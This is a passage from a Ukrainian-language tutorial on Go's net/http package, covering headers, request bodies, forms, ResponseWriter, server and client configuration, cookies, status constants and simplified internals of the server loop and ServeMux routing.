// Встановлення заголовка (замінює існуючі значення)
func (h Header) Set(key, value string)

// Додавання значення до заголовка (не замінює існуючі)
func (h Header) Add(key, value string)

// Видалення заголовка
func (h Header) Del(key string)

// Отримання всіх значень заголовка
func (h Header) Values(key string) []string

// Канонізація імені заголовка (Content-Type, Accept-Encoding)
func CanonicalHeaderKey(s string) string

Приклад роботи з заголовками:

func headersHandler(w http.ResponseWriter, r *http.Request) {
    // Читання заголовків
    userAgent := r.Header.Get("User-Agent")
    acceptLang := r.Header.Get("Accept-Language")
    
    // Отримання всіх значень (якщо заголовок повторюється)
    acceptTypes := r.Header.Values("Accept")
    // ["application/json", "text/html", "*/*"]

    // Перевірка наявності заголовка
    if auth := r.Header.Get("Authorization"); auth == "" {
        http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
        return
    }

    // Встановлення заголовків відповіді
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("X-Request-ID", generateRequestID())
    
    // Додавання кількох значень одного заголовка
    w.Header().Add("Set-Cookie", "session=abc; HttpOnly")
    w.Header().Add("Set-Cookie", "theme=dark; Path=/")

    // Видалення заголовка
    w.Header().Del("X-Debug-Info")
}
Канонізація заголовків: Go автоматично перетворює імена заголовків до канонічної форми Title-Case: content-type → Content-Type, accept-encoding → Accept-Encoding. Це означає, що r.Header.Get("content-type") та r.Header.Get("Content-Type") повернуть один і той самий результат.

Поле Body io.ReadCloser: потокове читання тіла

Тіло запиту представлено інтерфейсом io.ReadCloser, який об'єднує io.Reader та io.Closer:

type ReadCloser interface {
    Read(p []byte) (n int, err error)
    Close() error
}

Критично важливо: Ви завжди повинні закривати r.Body після читання, навіть якщо виникла помилка. Використовуйте defer r.Body.Close().

Способи читання тіла:

// 1. Читання всього тіла в пам'ять (для невеликих даних)
func readAllBody(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read body", http.StatusBadRequest)
        return
    }

    fmt.Fprintf(w, "Received %d bytes: %s", len(body), string(body))
}

// 2. Потокова обробка (для великих даних)
func streamBody(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    // Обмеження розміру читання (захист від DoS)
    limitedBody := io.LimitReader(r.Body, 10*1024*1024) // 10 MB

    // Потокове копіювання у файл
    dst, _ := os.Create("uploaded.bin")
    defer dst.Close()

    io.Copy(dst, limitedBody)
}

// 3. Декодування JSON (найчастіше для API)
func decodeJSON(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    var payload struct {
        Name  string `json:"name"`
        Email string `json:"email"`
    }

    decoder := json.NewDecoder(r.Body)
    decoder.DisallowUnknownFields() // Строга валідація
    
    if err := decoder.Decode(&payload); err != nil {
        http.Error(w, fmt.Sprintf("Invalid JSON: %v", err), http.StatusBadRequest)
        return
    }

    // Перевірка, чи немає зайвих даних після JSON
    if decoder.More() {
        http.Error(w, "Extraneous data after JSON", http.StatusBadRequest)
        return
    }

    fmt.Fprintf(w, "Name: %s, Email: %s", payload.Name, payload.Email)
}
Не читайте Body двічі: Після того, як ви прочитали r.Body, потік вичерпується. Повторна спроба читання поверне EOF. Якщо вам потрібно зберегти тіло для подальшої обробки, збережіть його у []byte або створіть новий io.Reader через bytes.NewReader.

Методи структури *http.Request

// Отримання контексту запиту
func (r *Request) Context() context.Context

// Встановлення нового контексту (створює копію запиту!)
func (r *Request) WithContext(ctx context.Context) *Request

// Отримання cookie за іменем
func (r *Request) Cookie(name string) (*Cookie, error)

// Отримання всіх cookies
func (r *Request) Cookies() []*Cookie

// Розбір форми (заповнює r.Form та r.PostForm)
func (r *Request) ParseForm() error

// Розбір multipart форми (для завантаження файлів)
func (r *Request) ParseMultipartForm(maxMemory int64) error

// Отримання значення поля форми (викликає ParseForm автоматично)
func (r *Request) FormValue(key string) string

// Отримання файлу з multipart форми
func (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)

// Перевірка базової HTTP-автентифікації
func (r *Request) BasicAuth() (username, password string, ok bool)

// Створення дочірнього запиту (для проксі)
func (r *Request) Clone(ctx context.Context) *Request

Приклад роботи з формами:

func formHandler(w http.ResponseWriter, r *http.Request) {
    // Автоматичний парсинг форми
    username := r.FormValue("username") // Викликає ParseForm автоматично
    password := r.FormValue("password")

    // Або ручний парсинг із обробкою помилок
    if err := r.ParseForm(); err != nil {
        http.Error(w, "Failed to parse form", http.StatusBadRequest)
        return
    }

    // Доступ до розібраних даних
    email := r.Form.Get("email")
    
    // Отримання множинних значень (checkbox)
    interests := r.Form["interests"] // []string{"coding", "music", "sports"}

    fmt.Fprintf(w, "User: %s, Interests: %v", username, interests)
}

Приклад Basic Authentication:

func protectedHandler(w http.ResponseWriter, r *http.Request) {
    username, password, ok := r.BasicAuth()
    if !ok {
        // Запит автентифікації
        w.Header().Set("WWW-Authenticate", `Basic realm="Restricted Area"`)
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // Перевірка облікових даних
    if username != "admin" || password != "secret" {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }

    fmt.Fprintf(w, "Вітаємо, %s!", username)
}

Інтерфейс http.ResponseWriter: формування відповіді

ResponseWriter — це інтерфейс для запису HTTP-відповіді. Він приховує складність буферизації, стиснення та керування з'єднанням.

type ResponseWriter interface {
    // Header повертає карту заголовків відповіді
    // Важливо: заголовки треба встановити ДО виклику Write або WriteHeader
    Header() Header

    // Write записує дані у тіло відповіді
    // Першим викликом Write автоматично відправляє статус-код 200 OK
    Write([]byte) (int, error)

    // WriteHeader встановлює HTTP статус-код
    // Має викликатися ДО першого Write
    // Повторні виклики ігноруються
    WriteHeader(statusCode int)
}

Порядок операцій (критично важливо!)

func correctOrder(w http.ResponseWriter, r *http.Request) {
    // 1. Спочатку встановлюємо заголовки
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("X-Request-ID", "abc-123")
    
    // 2. Потім статус-код (опціонально, за замовчуванням 200)
    w.WriteHeader(http.StatusCreated) // 201
    
    // 3. Нарешті записуємо тіло
    w.Write([]byte(`{"status": "created"}`))
}

func wrongOrder(w http.ResponseWriter, r *http.Request) {
    // ❌ ПОМИЛКА: пишемо тіло першим
    w.Write([]byte("Hello"))
    
    // ❌ ЦЕ НЕ СПРАЦЮЄ: заголовки вже відправлені!
    w.Header().Set("Content-Type", "text/plain")
    
    // ❌ ЦЕ ТЕЖ НЕ СПРАЦЮЄ: статус-код вже встановлено (200)
    w.WriteHeader(http.StatusCreated)
}
Чому порядок важливий: HTTP-відповідь передається потоком: спочатку стартовий рядок зі статус-кодом, потім заголовки, потім порожній рядок, потім тіло. Після виклику Write() Go відправляє заголовки клієнту. Спроба змінити заголовки після цього неможлива — вони вже у мережі!

Розширені інтерфейси ResponseWriter

Go-сервер автоматично додає додаткові можливості до ResponseWriter через опціональні інтерфейси (optional interfaces). Ви можете перевірити їхню наявність через type assertion.

1. http.Flusher — примусове відправлення даних:

type Flusher interface {
    Flush()
}

Використовується для Server-Sent Events (SSE) або потокового виведення:

func sseHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/event-stream")
    w.Header().Set("Cache-Control", "no-cache")
    w.Header().Set("Connection", "keep-alive")

    flusher, ok := w.(http.Flusher)
    if !ok {
        http.Error(w, "SSE not supported", http.StatusInternalServerError)
        return
    }

    for i := 0; i < 10; i++ {
        fmt.Fprintf(w, "data: Message %d\n\n", i)
        flusher.Flush() // Примусово відправляємо дані клієнту
        time.Sleep(1 * time.Second)
    }
}

2. http.Hijacker — захоплення з'єднання для WebSocket:

type Hijacker interface {
    Hijack() (net.Conn, *bufio.ReadWriter, error)
}

Дозволяє отримати прямий доступ до TCP-сокета, щоб реалізувати власний протокол (WebSocket, custom binary protocol):

func websocketHandler(w http.ResponseWriter, r *http.Request) {
    hijacker, ok := w.(http.Hijacker)
    if !ok {
        http.Error(w, "Hijacking not supported", http.StatusInternalServerError)
        return
    }

    conn, buf, err := hijacker.Hijack()
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    defer conn.Close()

    // Тепер ми маємо прямий доступ до сокета
    // Реалізуємо WebSocket handshake та протокол
    // (у реальності використовуйте gorilla/websocket)
}

3. http.Pusher — HTTP/2 Server Push:

type Pusher interface {
    Push(target string, opts *PushOptions) error
}

Використовується для проактивного відправлення ресурсів (CSS, JS) до запиту:

func pushHandler(w http.ResponseWriter, r *http.Request) {
    pusher, ok := w.(http.Pusher)
    if ok {
        // Проштовхуємо критичні ресурси
        if err := pusher.Push("/styles.css", nil); err != nil {
            log.Printf("Failed to push: %v", err)
        }
    }

    w.Header().Set("Content-Type", "text/html")
    fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="/styles.css"></head></html>`)
}

4. http.CloseNotifier (застарілий у Go 1.11+):

Використовуйте замість нього r.Context().Done() для виявлення обриву з'єднання.

Хелпери для роботи з ResponseWriter

// Відправка помилки із заголовком Content-Type: text/plain
func http.Error(w ResponseWriter, error string, code int)

// Редирект (встановлює Location та статус-код)
func http.Redirect(w ResponseWriter, r *Request, url string, code int)

// Відправка файлу (автоматично визначає Content-Type, підтримує Range Requests)
func http.ServeFile(w ResponseWriter, r *Request, name string)

// Відправка контенту із io.ReadSeeker (більше контролю, ніж ServeFile)
func http.ServeContent(w ResponseWriter, r *Request, name string, modtime time.Time, content io.ReadSeeker)

// Встановлення cookie
func http.SetCookie(w ResponseWriter, cookie *Cookie)

// Видалення cookie (встановлює MaxAge=-1)
func deleteCookie(w ResponseWriter, name string) {
    http.SetCookie(w, &http.Cookie{
        Name:   name,
        Value:  "",
        Path:   "/",
        MaxAge: -1,
    })
}

Приклад використання хелперів:

func fileDownloadHandler(w http.ResponseWriter, r *http.Request) {
    // Перевірка автентифікації
    if !isAuthenticated(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // Відправка файлу (автоматично додає Content-Disposition, Content-Length, підтримує Range Requests)
    http.ServeFile(w, r, "/var/files/document.pdf")
}

func redirectHandler(w http.ResponseWriter, r *http.Request) {
    // Перенаправлення на новий URL
    http.Redirect(w, r, "/new-location", http.StatusMovedPermanently)
}

Структура http.Server: конфігурація сервера

http.Server — це центральна структура для керування HTTP-сервером. Вона дає повний контроль над поведінкою сервера.

type Server struct {
    // Адреса для прослуховування, формат ":8080" або "0.0.0.0:8080"
    Addr string

    // Головний обробник (роутер)
    // Якщо nil, використовується http.DefaultServeMux
    Handler Handler

    // Таймаут читання всього запиту (заголовки + тіло)
    // За замовчуванням: необмежений (небезпечно!)
    ReadTimeout time.Duration

    // Таймаут читання заголовків (менший за ReadTimeout)
    // Дозволяє швидше відхиляти повільні клієнти
    ReadHeaderTimeout time.Duration

    // Таймаут запису відповіді
    WriteTimeout time.Duration

    // Таймаут очікування наступного запиту при keep-alive
    IdleTimeout time.Duration

    // Максимальний розмір заголовків запиту (за замовчуванням 1 MB)
    MaxHeaderBytes int

    // TLS конфігурація (для HTTPS)
    TLSConfig *tls.Config

    // Налаштування HTTP/2
    // Автоматично активується для TLS, якщо не вимкнено
    TLSNextProto map[string]func(*Server, *tls.Conn, Handler)

    // Час очікування плавного завершення
    // (не поле структури, передається в Shutdown)

    // Функція для логування помилок
    ErrorLog *log.Logger

    // Базовий контекст для всіх запитів
    BaseContext func(net.Listener) context.Context

    // Функція для налаштування контексту кожного запиту
    ConnContext func(ctx context.Context, c net.Conn) context.Context
}

Методи http.Server

// Запуск HTTP-сервера (блокуючий виклик)
func (srv *Server) ListenAndServe() error

// Запуск HTTPS-сервера
func (srv *Server) ListenAndServeTLS(certFile, keyFile string) error

// Запуск сервера на існуючому listener
func (srv *Server) Serve(l net.Listener) error

// Плавне завершення (чекає завершення активних запитів)
func (srv *Server) Shutdown(ctx context.Context) error

// Негайне закриття (обриває активні з'єднання)
func (srv *Server) Close() error

// Реєстрація функції, яка викликається при завершенні сервера
func (srv *Server) RegisterOnShutdown(f func())

Приклад повної конфігурації продакшн-сервера:

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", homeHandler)

    server := &http.Server{
        Addr:    ":8080",
        Handler: mux,

        // Захист від повільних клієнтів
        ReadTimeout:       10 * time.Second,
        ReadHeaderTimeout: 5 * time.Second,
        WriteTimeout:      10 * time.Second,
        IdleTimeout:       120 * time.Second,

        // Обмеження розміру заголовків (1 MB)
        MaxHeaderBytes: 1 << 20,

        // Кастомний логер помилок
        ErrorLog: log.New(os.Stderr, "HTTP ERROR: ", log.LstdFlags),

        // TLS конфігурація (для HTTPS)
        TLSConfig: &tls.Config{
            MinVersion:               tls.VersionTLS12,
            CurvePreferences:         []tls.CurveID{tls.X25519, tls.CurveP256},
            PreferServerCipherSuites: true,
            CipherSuites: []uint16{
                tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
                tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
                tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
                tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
            },
        },
    }

    // Запуск у горутині
    go func() {
        log.Println("Server starting on :8080")
        if err := server.ListenAndServe(); err != http.ErrServerClosed {
            log.Fatalf("Server failed: %v", err)
        }
    }()

    // Graceful Shutdown
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)
    <-quit

    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    if err := server.Shutdown(ctx); err != nil {
        log.Fatalf("Shutdown failed: %v", err)
    }

    log.Println("Server stopped gracefully")
}

Структура http.Cookie: робота з куками

type Cookie struct {
    Name  string    // Ім'я cookie
    Value string    // Значення cookie

    Path       string    // URL шлях, для якого cookie валідний
    Domain     string    // Домен, для якого cookie валідний
    Expires    time.Time // Абсолютний час закінчення терміну дії
    RawExpires string    // Сирове значення Expires для читання

    MaxAge   int  // Час життя в секундах (0 = session, <0 = видалити)
    Secure   bool // Тільки HTTPS
    HttpOnly bool // Недоступний через JavaScript
    SameSite SameSite // Політика Same-Site

    Raw      string   // Сире значення cookie
    Unparsed []string // Нерозібрані атрибути
}

Константи SameSite:

const (
    SameSiteDefaultMode SameSite = iota + 1 // Браузер вирішує (зазвичай Lax)
    SameSiteLaxMode                         // Відправляється при навігації верхнього рівня
    SameSiteStrictMode                      // Тільки для того самого сайту
    SameSiteNoneMode                        // Завжди відправляється (вимагає Secure)
)

Створення та налаштування cookie:

func setCookieExample(w http.ResponseWriter, r *http.Request) {
    // Простий cookie
    simple := &http.Cookie{
        Name:  "theme",
        Value: "dark",
    }
    http.SetCookie(w, simple)

    // Сесійний cookie з безпекою
    session := &http.Cookie{
        Name:     "session_id",
        Value:    generateSecureToken(),
        Path:     "/",
        MaxAge:   3600,                    // 1 година
        HttpOnly: true,                    // Захист від XSS
        Secure:   true,                    // Тільки HTTPS
        SameSite: http.SameSiteStrictMode, // Захист від CSRF
    }
    http.SetCookie(w, session)

    // Cookie з доменом (доступний для піддоменів)
    tracking := &http.Cookie{
        Name:     "tracking_id",
        Value:    "abc123",
        Domain:   ".example.com", // Доступний для api.example.com, www.example.com
        Path:     "/",
        MaxAge:   86400 * 365, // 1 рік
        SameSite: http.SameSiteLaxMode,
    }
    http.SetCookie(w, tracking)

    // Cookie з абсолютним терміном дії
    expireTime := time.Now().Add(24 * time.Hour)
    expires := &http.Cookie{
        Name:    "temp_token",
        Value:   "xyz789",
        Expires: expireTime,
        Path:    "/api",
    }
    http.SetCookie(w, expires)
}

Структура http.Client: HTTP-клієнт

http.Client використовується для відправки HTTP-запитів до зовнішніх серверів. Це критично важливо для інтеграції з зовнішніми API.

type Client struct {
    // Транспорт для виконання HTTP-запитів
    // За замовчуванням: http.DefaultTransport
    Transport RoundTripper

    // Політика редиректів
    // nil = до 10 автоматичних редиректів
    CheckRedirect func(req *Request, via []*Request) error

    // Пул cookies (автоматичне керування)
    Jar CookieJar

    // Таймаут для всієї операції (запит + відповідь)
    // 0 = без таймауту (небезпечно!)
    Timeout time.Duration
}

Глобальні клієнти:

// Клієнт за замовчуванням (без таймауту!)
var DefaultClient = &Client{}

// Рекомендований клієнт для продакшн
var productionClient = &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        MaxIdleConns:          100,
        MaxIdleConnsPerHost:   10,
        IdleConnTimeout:       90 * time.Second,
        TLSHandshakeTimeout:   10 * time.Second,
        ExpectContinueTimeout: 1 * time.Second,
    },
}

Методи Client:

// GET-запит
func (c *Client) Get(url string) (*Response, error)

// POST-запит із даними
func (c *Client) Post(url, contentType string, body io.Reader) (*Response, error)

// POST форми
func (c *Client) PostForm(url string, data url.Values) (*Response, error)

// HEAD-запит (тільки заголовки)
func (c *Client) Head(url string) (*Response, error)

// Виконання кастомного запиту
func (c *Client) Do(req *Request) (*Response, error)

Приклади використання Client:

// 1. Простий GET-запит
func simpleGet() {
    client := &http.Client{Timeout: 10 * time.Second}
    
    resp, err := client.Get("https://api.example.com/users")
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        log.Fatalf("Unexpected status: %d", resp.StatusCode)
    }

    body, _ := io.ReadAll(resp.Body)
    fmt.Println(string(body))
}

// 2. POST-запит із JSON
func postJSON() {
    client := &http.Client{Timeout: 10 * time.Second}

    payload := map[string]string{
        "name":  "Олена",
        "email": "olena@example.com",
    }

    jsonData, _ := json.Marshal(payload)

    resp, err := client.Post(
        "https://api.example.com/users",
        "application/json",
        bytes.NewBuffer(jsonData),
    )
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()

    fmt.Println("Status:", resp.Status)
}

// 3. Кастомний запит із заголовками
func customRequest() {
    client := &http.Client{Timeout: 10 * time.Second}

    req, _ := http.NewRequest("PUT", "https://api.example.com/users/42", nil)
    
    // Додаємо заголовки
    req.Header.Set("Authorization", "Bearer "+token)
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("User-Agent", "MyApp/1.0")

    resp, err := client.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()

    fmt.Println("Status:", resp.StatusCode)
}

// 4. Запит із контекстом (таймаут, скасування)
func requestWithContext() {
    client := &http.Client{}

    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    req, _ := http.NewRequestWithContext(ctx, "GET", "https://slow-api.example.com", nil)

    resp, err := client.Do(req)
    if err != nil {
        if ctx.Err() == context.DeadlineExceeded {
            log.Println("Request timed out")
        }
        return
    }
    defer resp.Body.Close()
}

Структура http.Transport: налаштування з'єднань

Transport керує пулом з'єднань, проксі, TLS та іншими низькорівневими деталями.

type Transport struct {
    // Функція для створення нових з'єднань
    // За замовчуванням: net.Dial
    Dial func(network, addr string) (net.Conn, error)

    // Функція для створення TLS з'єднань
    DialTLS func(network, addr string) (net.Conn, error)

    // TLS конфігурація
    TLSClientConfig *tls.Config

    // Максимальна кількість idle з'єднань (всього)
    MaxIdleConns int // За замовчуванням: 100

    // Максимальна кількість idle з'єднань на хост
    MaxIdleConnsPerHost int // За замовчуванням: 2

    // Максимальна кількість з'єднань на хост (0 = необмежено)
    MaxConnsPerHost int

    // Час життя idle з'єднання
    IdleConnTimeout time.Duration // За замовчуванням: 90s

    // Таймаут TLS handshake
    TLSHandshakeTimeout time.Duration // За замовчуванням: 10s

    // Продовжувати використовувати з'єднання після Read
    DisableKeepAlives bool

    // Автоматично стискати gzip
    DisableCompression bool

    // Проксі-функція
    Proxy func(*Request) (*url.URL, error)
}

Приклад налаштування Transport:

func configuredClient() *http.Client {
    transport := &http.Transport{
        // Пул з'єднань
        MaxIdleConns:        100,
        MaxIdleConnsPerHost: 10,
        MaxConnsPerHost:     50,
        IdleConnTimeout:     90 * time.Second,

        // Таймаути
        TLSHandshakeTimeout:   10 * time.Second,
        ResponseHeaderTimeout: 10 * time.Second,
        ExpectContinueTimeout: 1 * time.Second,

        // TLS конфігурація (строга безпека)
        TLSClientConfig: &tls.Config{
            MinVersion: tls.VersionTLS12,
            CipherSuites: []uint16{
                tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
                tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
            },
        },

        // Проксі (опціонально)
        Proxy: http.ProxyFromEnvironment, // Читає HTTP_PROXY, HTTPS_PROXY

        // Кастомний Dialer
        DialContext: (&net.Dialer{
            Timeout:   30 * time.Second,
            KeepAlive: 30 * time.Second,
        }).DialContext,
    }

    return &http.Client{
        Transport: transport,
        Timeout:   30 * time.Second,
    }
}

Структура http.Response: відповідь від сервера

type Response struct {
    Status     string // "200 OK"
    StatusCode int    // 200
    Proto      string // "HTTP/1.1"
    ProtoMajor int    // 1
    ProtoMinor int    // 1

    Header Header      // Заголовки відповіді
    Body   io.ReadCloser // Тіло (завжди закривайте!)

    ContentLength    int64  // Розмір тіла (-1 якщо chunked)
    TransferEncoding []string
    Close            bool   // Чи треба закрити з'єднання
    Uncompressed     bool   // Чи було автоматично розпаковано gzip

    // Оригінальний запит
    Request *Request

    // TLS інформація
    TLS *tls.ConnectionState
}

Робота з Response:

func handleResponse(resp *http.Response) {
    defer resp.Body.Close()

    // Перевірка статус-коду
    if resp.StatusCode >= 400 {
        body, _ := io.ReadAll(resp.Body)
        log.Fatalf("Error %d: %s", resp.StatusCode, string(body))
    }

    // Читання заголовків
    contentType := resp.Header.Get("Content-Type")
    etag := resp.Header.Get("ETag")

    // Читання тіла
    if strings.Contains(contentType, "application/json") {
        var result map[string]any
        json.NewDecoder(resp.Body).Decode(&result)
        fmt.Println(result)
    } else {
        body, _ := io.ReadAll(resp.Body)
        fmt.Println(string(body))
    }

    // Інформація про з'єднання
    if resp.TLS != nil {
        fmt.Println("TLS Version:", resp.TLS.Version)
        fmt.Println("Cipher Suite:", resp.TLS.CipherSuite)
    }
}

Хелпери та утилітарні функції

Пакет net/http надає багато зручних функцій для типових операцій.

Функції для створення запитів

// Створення нового запиту
func NewRequest(method, url string, body io.Reader) (*Request, error)

// Створення запиту з контекстом
func NewRequestWithContext(ctx context.Context, method, url string, body io.Reader) (*Request, error)

// Читання запиту з Reader (для тестування або проксі)
func ReadRequest(b *bufio.Reader) (*Request, error)

// Читання відповіді з Reader
func ReadResponse(r *bufio.Reader, req *Request) (*Response, error)

Приклад створення складних запитів:

func buildComplexRequest() *http.Request {
    // JSON payload
    payload := map[string]any{
        "name": "Тест",
        "tags": []string{"go", "http"},
    }
    jsonData, _ := json.Marshal(payload)

    // Контекст із таймаутом
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    // Створення запиту
    req, _ := http.NewRequestWithContext(
        ctx,
        http.MethodPost,
        "https://api.example.com/items",
        bytes.NewReader(jsonData),
    )

    // Встановлення заголовків
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Authorization", "Bearer "+token)
    req.Header.Set("User-Agent", "MyApp/2.0")
    req.Header.Set("Accept", "application/json")
    req.Header.Set("Accept-Encoding", "gzip, deflate")

    // Додавання query-параметрів
    q := req.URL.Query()
    q.Add("version", "v1")
    q.Add("format", "json")
    req.URL.RawQuery = q.Encode()

    // Додавання cookies
    req.AddCookie(&http.Cookie{
        Name:  "session_id",
        Value: "abc123",
    })

    return req
}

Детектування типів контенту

// Визначення MIME-типу за вмістом файлу
func DetectContentType(data []byte) string

// Приклад
func detectExample() {
    data, _ := os.ReadFile("image.png")
    
    contentType := http.DetectContentType(data)
    fmt.Println(contentType) // "image/png"
}

Парсинг медіа-типів

// Розбір Content-Type заголовка
func ParseMediaType(v string) (mediatype string, params map[string]string, err error)

// Приклад
func parseExample() {
    header := "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
    
    mediaType, params, _ := mime.ParseMediaType(header)
    fmt.Println("Type:", mediaType)           // multipart/form-data
    fmt.Println("Boundary:", params["boundary"]) // ----WebKitFormBoundary...
}

Константи HTTP-методів

const (
    MethodGet     = "GET"
    MethodHead    = "HEAD"
    MethodPost    = "POST"
    MethodPut     = "PUT"
    MethodPatch   = "PATCH"
    MethodDelete  = "DELETE"
    MethodConnect = "CONNECT"
    MethodOptions = "OPTIONS"
    MethodTrace   = "TRACE"
)

Використання:

func checkMethod(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        w.Header().Set("Allow", http.MethodPost)
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }
    // Обробка POST
}

Константи статус-кодів

// Інформаційні
const (
    StatusContinue           = 100
    StatusSwitchingProtocols = 101
    StatusProcessing         = 102
)

// Успішні
const (
    StatusOK                   = 200
    StatusCreated              = 201
    StatusAccepted             = 202
    StatusNoContent            = 204
    StatusPartialContent       = 206
)

// Редиректи
const (
    StatusMovedPermanently  = 301
    StatusFound             = 302
    StatusSeeOther          = 303
    StatusNotModified       = 304
    StatusTemporaryRedirect = 307
    StatusPermanentRedirect = 308
)

// Помилки клієнта
const (
    StatusBadRequest                   = 400
    StatusUnauthorized                 = 401
    StatusForbidden                    = 403
    StatusNotFound                     = 404
    StatusMethodNotAllowed             = 405
    StatusRequestTimeout               = 408
    StatusConflict                     = 409
    StatusGone                         = 410
    StatusPreconditionFailed           = 412
    StatusRequestEntityTooLarge        = 413
    StatusUnsupportedMediaType         = 415
    StatusUnprocessableEntity          = 422
    StatusTooManyRequests              = 429
)

// Помилки сервера
const (
    StatusInternalServerError      = 500
    StatusNotImplemented           = 501
    StatusBadGateway               = 502
    StatusServiceUnavailable       = 503
    StatusGatewayTimeout           = 504
)

Функція для отримання тексту статус-коду:

// Повертає стандартний текст для статус-коду
func StatusText(code int) string

// Приклад
text := http.StatusText(404) // "Not Found"
text = http.StatusText(201)  // "Created"

Внутрішні механізми: як працює net/http під капотом

1. Архітектура сервера (концептуальна діаграма)

┌─────────────────────────────────────────┐
│  http.ListenAndServe(":8080", handler)  │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│  net.Listen("tcp", ":8080")             │
│  Створює TCP слухача                     │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│  for { conn, _ := listener.Accept() }   │
│  Нескінченний цикл прийому з'єднань      │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│  go c.serve(ctx)                        │
│  Нова горутина для кожного з'єднання     │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│  for { w, req, _ := c.readRequest() }   │
│  Цикл читання запитів (keep-alive)      │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│  serverHandler{c.server}.ServeHTTP()    │
│  Виклик вашого обробника                 │
└─────────────────────────────────────────┘

2. Життєвий цикл запиту

// Псевдокод внутрішньої реалізації
func (c *conn) serve(ctx context.Context) {
    defer func() {
        if err := recover(); err != nil {
            // Обробка panic
            c.server.logf("http: panic serving %v: %v", c.remoteAddr, err)
        }
        c.close()
    }()

    // Цикл keep-alive
    for {
        // 1. Читання запиту
        w, req, err := c.readRequest(ctx)
        if err != nil {
            return // З'єднання закрито або помилка
        }

        // 2. Встановлення таймаутів
        if c.server.ReadTimeout > 0 {
            conn.SetReadDeadline(time.Now().Add(c.server.ReadTimeout))
        }
        if c.server.WriteTimeout > 0 {
            conn.SetWriteDeadline(time.Now().Add(c.server.WriteTimeout))
        }

        // 3. Виклик обробника
        serverHandler{c.server}.ServeHTTP(w, req)

        // 4. Скидання буферів
        w.finishRequest()

        // 5. Перевірка, чи треба закрити з'єднання
        if !w.shouldReuseConnection() {
            return
        }

        // 6. Перехід у idle режим для наступного запиту
        c.setState(StateIdle)
    }
}

3. Буферизація та пул об'єктів

Go використовує пул об'єктів (sync.Pool) для зменшення навантаження на GC:

// Внутрішні пули (приблизна реалізація)
var (
    bufioReaderPool sync.Pool
    bufioWriterPool sync.Pool
    responsePool    sync.Pool
)

func getReader(r io.Reader) *bufio.Reader {
    if v := bufioReaderPool.Get(); v != nil {
        br := v.(*bufio.Reader)
        br.Reset(r)
        return br
    }
    return bufio.NewReader(r)
}

func putReader(br *bufio.Reader) {
    br.Reset(nil)
    bufioReaderPool.Put(br)
}

Це означає, що буфери читання/запису переробляються між запитами, замість створення нових.

4. Як працює http.ServeMux

// Спрощена реалізація ServeMux
type ServeMux struct {
    mu    sync.RWMutex
    m     map[string]muxEntry
    hosts bool // чи є хост-специфічні шаблони
}

type muxEntry struct {
    h       Handler
    pattern string
}

func (mux *ServeMux) Handle(pattern string, handler Handler) {
    mux.mu.Lock()
    defer mux.mu.Unlock()

    // Зберігаємо в карті
    mux.m[pattern] = muxEntry{h: handler, pattern: pattern}
}

func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
    // Знаходимо найдовший збіг шаблону
    h, pattern := mux.Handler(r)
    h.ServeHTTP(w, r)
}

func (mux *ServeMux) match(path string) (h Handler, pattern string) {
    // Шукаємо найдовший збіг префіксу
    var n = 0
    for k, v := range mux.m {
        if !pathMatch(k, path) {
            continue
        }
        if h == nil || len(k) > n {
            n = len(k)
            h = v.h
            pattern = v.pattern
        }
    }
    return
}

Особливості маршрутизації:

  • /images/ збігається з /images/cat.jpg, /images/dog.png
  • /images збігається лише з точним шляхом /images
  • Найдовший збіг має пріоритет
  • Якщо збігу немає, використовується обробник NotFoundHandler
Внутрішня еволюція у Go 1.22: До версії Go 1.22 маршрутизація дійсно зводилася до лінійного пошуку найдовшого префікса у зрізі записів muxEntry. Починаючи з Go 1.22, ядро http.ServeMux було переписане на високоефективне дерево маршрутів (routing tree), яке спочатку індексує запити за HTTP-методом, а потім виконує зіставлення сегментів шляху з пріоритетом літералів над вайлдкардами ({name} та {name...}).

